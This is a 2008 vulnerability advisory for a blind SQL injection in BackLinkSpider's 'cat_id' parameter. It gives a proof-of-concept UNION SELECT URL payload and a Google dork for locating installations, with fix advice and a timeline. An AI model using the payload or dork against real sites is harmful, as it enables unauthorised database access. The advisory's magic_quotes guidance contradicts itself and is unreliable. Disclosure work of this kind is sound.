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BackLinkSpider (cat_id) Remote SQL Injection Vulnerability

Author
K-159
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2959
Category
web applications
Date add
04-05-2008
Platform
unsorted
==========================================================
BackLinkSpider (cat_id) Remote SQL Injection Vulnerability
==========================================================



____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_95$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : BackLinkSpider
version       : unknown
Vendor        : http://www.backlinkspider.com/
Description   :

BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. 
This can be exploited to execute sql query through the browser.
Successful exploitation requires that "magic_quotes" is enabled.


Poc/Exploit:

~~~~~~~~~
http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL]
http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/*


Dork:
~~~~
Google    : "Powered By BackLinkSpider" "inurl:backlinkspider.php"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 03 - 05 - 2008 bug found
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

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~~~~
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-------------------------------- [ EOF ] ----------------------------------


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